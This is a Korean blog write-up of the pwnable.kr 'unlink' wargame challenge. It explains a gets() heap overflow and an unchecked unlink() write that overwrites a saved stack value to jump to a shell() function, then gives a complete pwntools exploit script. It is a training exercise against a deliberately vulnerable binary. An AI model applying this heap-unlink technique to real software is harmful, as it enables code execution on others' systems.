본문 바로가기
Wargame/pwnable.kr

pwnable.kr unlink

by morae23 2019. 3. 12.

[Toddler's Bottle]

pwnable.kr unlink


unlink 파일을 보면 nx가 걸려있는 것을 볼 수 있다.



아래는 unlink.c 코드의 일부이다.



gets() 에서 overflow가 발생한다.

또한 unlink() 함수를 보면 값에 검증을 수행하지 않는 것을 볼 수 있다.


실제로 gets()에서 "A"를 100개 입력해보았다.



그 결과, 아래와 같이 입력한 값이 그대로 들어간다.

즉, 첫번째 malloc() 한 A의 size보다 많이 입력하면, B와 C를 덮을 수 있다.



여기서 처음 든 생각은 stack leak 값을 이용하여 ret를 shell()의 주소로 덮는 것이었으나,

FD에 코드 영역의 주소를 넣으면 FD->bk=BK; 부분에서 코드 영역에 write를 해야 하므로 힘들 듯하다.


여기서 main함수의 아래쪽을 보면 ret를 하기 전에

mov ecx, DWORD PTR [ebp-0x4]

leave

lea esp, [ecx-0x4]

를 수행하는 것을 볼 수 있다.




ebp-0x4를 덮으면 ret를 조작할 수 있다는 것이다.


따라서 B의 fd에 A의 버퍼의 주소( heap_leak+0x8 ) + 0x4를 넣고,    # lea esp, [ecx-0x4] 이기 때문에 4를 더한 값을 준다.

bk에 ebp-0x4 를 넣어주었다.


그리고 A의 버퍼(heap_leak+0x8 위치)에 shell()의 주소를 넣어준다.


A의 버퍼와 B의 fd 사이 (B의 헤더 등) 부분은 적절히 0x41로 채웠다.



그 결과 플래그를 얻을 수 있다.



ex.py 는 아래와 같다.


from pwn import *


func_shell = p32(0x080484eb)


p = process('./unlink')


print p.recvuntil(': ')

stack_leak = int(p.recvline(), 16)


print p.recvuntil(': ')

heap_leak = int(p.recvline(), 16)


print p.recvuntil('!')


payload = func_shell + p32(0x41414141) * 3 \

+ p32(heap_leak + 0xc) + p32(stack_leak + 0x10)


p.sendline(payload)


p.interactive()


'Wargame > pwnable.kr' 카테고리의 다른 글

pwnable.kr [Rookiss] dragon  (0) 2019.05.15
pwnable.kr [Rookiss] simple login  (0) 2019.05.14
pwnable.kr horcruxes  (0) 2019.03.06
pwnable.kr uaf  (0) 2019.02.21
pwnable.kr memcpy  (0) 2019.02.13

댓글